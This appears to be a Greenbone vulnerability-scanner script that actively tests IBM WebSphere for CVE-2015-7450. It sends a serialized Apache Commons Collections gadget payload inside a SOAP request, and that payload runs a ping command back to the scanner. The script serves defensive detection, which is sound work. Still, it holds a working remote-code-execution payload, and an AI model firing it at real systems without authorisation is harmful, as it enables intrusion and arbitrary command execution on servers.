IBM WebSphere Application Server RCE Vulnerability (Nov 2015) - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:ibm:websphere_application_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105835");
  script_version("2026-03-12T05:56:11+0000");
  script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-07-29 15:54:10 +0200 (Fri, 29 Jul 2016)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-07-24 17:02:03 +0000 (Wed, 24 Jul 2024)");

  script_cve_id("CVE-2015-7450");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("IBM WebSphere Application Server RCE Vulnerability (Nov 2015) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_ibm_websphere_consolidation.nasl", "os_detection.nasl");
  script_mandatory_keys("ibm/websphere_or_liberty/http/detected");
  script_require_ports("Services/www", 9443);

  script_tag(name:"summary", value:"IBM WebSphere Application Server is prone to a remote code
  execution (RCE) vulnerability in Apache Commons Collections.");

  script_tag(name:"vuldetect", value:"Sends a serialized object via a crafted HTTP POST request and
  checks if the target is sending an ICMP Echo Request back to the scanner host.

  Notes:

  - For a successful detection of this flaw the scanner host needs to be able to directly receive
  ICMP Echo Requests (Type 8) from the target.

  - If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
  (e.g. a Monitoring System) the detection routine might be not fully reliable. In this case please
  create an override for any result of this VT.");

  script_tag(name:"insight", value:"The flaw exists due to presence of a deserialization error.");

  script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
  arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"IBM WebSphere Application Server versions:

  - 16.0.0.2 through 17.0.0.3 (Liberty)

  - 8.5.0.0 through 8.5.5.7 (Liberty)

  - 8.5.0.0 through 8.5.5.7 (Traditional)

  - 8.0.0.0 through 8.0.0.11 (Traditional)

  - 7.0.0.0 through 7.0.0.39 (Traditional)

  Notes:

  - Liberty in all versions is only actively exploitable if using the optional EJB Embeddable
    Container and JPAClient features

  - Liberty versions 8.5.0.0 through 8.5.5.7 only enables the Apache Commons Collections and thus
    exploitable if one of the jsf-2.0, jsf-2.2 or jpa-2.0 features are enabled");

  script_tag(name:"solution", value:"Updates and mitigations are available. Please see the
  references or vendor advisory for more information.");

  script_xref(name:"URL", value:"https://www.ibm.com/support/pages/security-bulletin-vulnerability-apache-commons-affects-ibm-websphere-application-server-cve-2015-7450");
  script_xref(name:"URL", value:"https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/");
  script_xref(name:"URL", value:"https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/websphere-soap-exploit.request");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210122210651/http://www.securityfocus.com/bid/77653");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  exit(0);
}

include("dump.inc");
include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );

url = "/";
headers = make_array( "Content-Type", "text/xml; charset=utf-8",
                      "SOAPAction", '"urn:AdminService"' );

if( os_host_runs( "Windows") == "yes" )
  target_runs_windows = TRUE;

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  payload = raw_string(
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    0xe9, 0x1d, 0x7b, 0x47, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x74, 0x00 );

  vtstrings = get_vt_strings();
  check = vtstrings["ping_string"];
  pattern = hexstr( check );

  if( target_runs_windows )
    cmd = "ping -n 5 " + connect_back_target;
  else
    cmd = "ping -c 5 -p " + pattern + " " + connect_back_target;

  len = raw_string( strlen( cmd ) );

  payload += len + cmd + raw_string(
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  payload = base64( str:payload );

  soap = '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">' + payload  + '</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

  req = http_post_put_req( port:port, url:url, data:soap, add_headers:headers );

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames /
  # vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason: If
  # the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:filter );

  close( soc );

  if( ! res )
    continue;

  type = get_icmp_element( icmp:res, element:"icmp_type" );
  if( ! type || type != 8 )
    continue;

  # nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
  # should be always there. In addition at least standard Linux and Windows systems are always
  # sending data so it should be safe to check this here.
  if( ! data = get_icmp_element( icmp:res, element:"data" ) )
    continue;

  # nb:
  # - Like seen on / in e.g.
  #   - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
  #   - GS-9790
  # - We can easily rule out this one as not a valid response...
  if( "PING by PRTG" >< data )
    continue;

  if( ( target_runs_windows || check >< data ) ) {
    report = http_report_vuln_url( port:port, url:url );
    report += '\n\nBy sending a special crafted serialized java object it was possible to execute `' + cmd + '` on the remote host.\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );